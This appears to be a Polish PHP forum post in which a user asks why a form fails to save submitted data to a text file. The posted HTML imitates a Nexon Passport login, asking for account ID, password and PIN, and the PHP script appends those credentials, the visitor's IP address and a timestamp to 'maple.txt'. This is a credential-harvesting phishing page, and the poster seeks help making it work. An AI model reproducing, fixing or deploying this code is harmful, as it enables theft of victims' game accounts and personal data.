Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

> [PHP]Dane z formularza do Pliku, Problem...
robsonq
post
Post #1





Grupa: Zarejestrowani
Postów: 3
Pomógł: 0
Dołączył: 5.09.2009

Ostrzeżenie: (0%)
-----


Witam!
Mam problem z napisaniem strony - mam 3 pola do wpisania danych, i docelowo te dane mają zapisać sie na pliku txt.
Problem w tym, że napisałem w/w formularz i skrypt php zapożyczyłem z tej strony... Mimo to po wpisaniu danych do formularza nic się nie dzieje (nic nie pojawia się w pliku tekstowym)

  1. <form name="frmLogin" method="post" action="login.php" id="frmLogin">


  1. <label class="passport_id">Nexon Passport ID</label><input name="username" id="txtId" tabindex="1" size="16" type="text">
  2.  
  3. <label class="passport_pw">Nexon Passport P/W</label><input name="password" id="txtPassword" tabindex="2" maxlength="12" type="password">
  4.  
  5. <label class="passport_pin">Nexon Pin</label><input name="pin" id="pin" tabindex="2" maxlength="4" type="password">
  6.  
  7. <input name="btnLogin" value="" id="btnLogin" tabindex="3" class="btn_signin" type="submit">


Oto dwie części strony HTML, moim zdaniem odpowiedzialne za cały proces, no i skrypt php.

  1. <?php
  2.  
  3. #
  4. // register_globals!
  5. #
  6. $username = $_POST['username'];
  7. #
  8. $password = $_POST['password'];
  9. #
  10. $pin = $_POST['pin'];
  11. #
  12.  
  13. #
  14. $address = getenv("REMOTE_ADDR");
  15. #
  16.  
  17. #
  18. $filename = "$DOCUMENT_ROOT/maple.txt";
  19. #
  20. $nam = stripslashes($username);
  21. #
  22. $topi = stripslashes($password);
  23. #
  24. $messag = stripslashes($pin);
  25. #
  26.  
  27. #
  28. $a = "<hr>Username: $username<br>n";
  29. #
  30. $a2 = "Password: $password<br>n";
  31. #
  32. $a3 = "Pin: $pin<br>n";
  33. #
  34. $a4 = "IP: $address<br><br>nn";
  35. #
  36. $a5 = date ("d-m-Y");
  37. #
  38. $a6 = date ("G:i");
  39. #
  40. $filed = @fopen($filename, "a+");
  41. #
  42. @fwrite($filed, "$a $a2 $a3 $a4 $a5 $a6");
  43. #
  44.  
  45. #
  46. fclose($filed);
  47. #
  48.  
  49. #
  50. $msg = "<p>Data Input complete</P>";
  51. #
  52.  
  53.  
  54. ?>


Jeśli ktoś może mnie naprowadzić na dobry trop, byłbym wdzięczny! (IMG:style_emoticons/default/smile.gif)

Pozdrawiam
Go to the top of the page
+Quote Post

Posty w temacie


Reply to this topicStart new topic
2 Użytkowników czyta ten temat (2 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Aktualny czas: 2.10.2025 - 21:50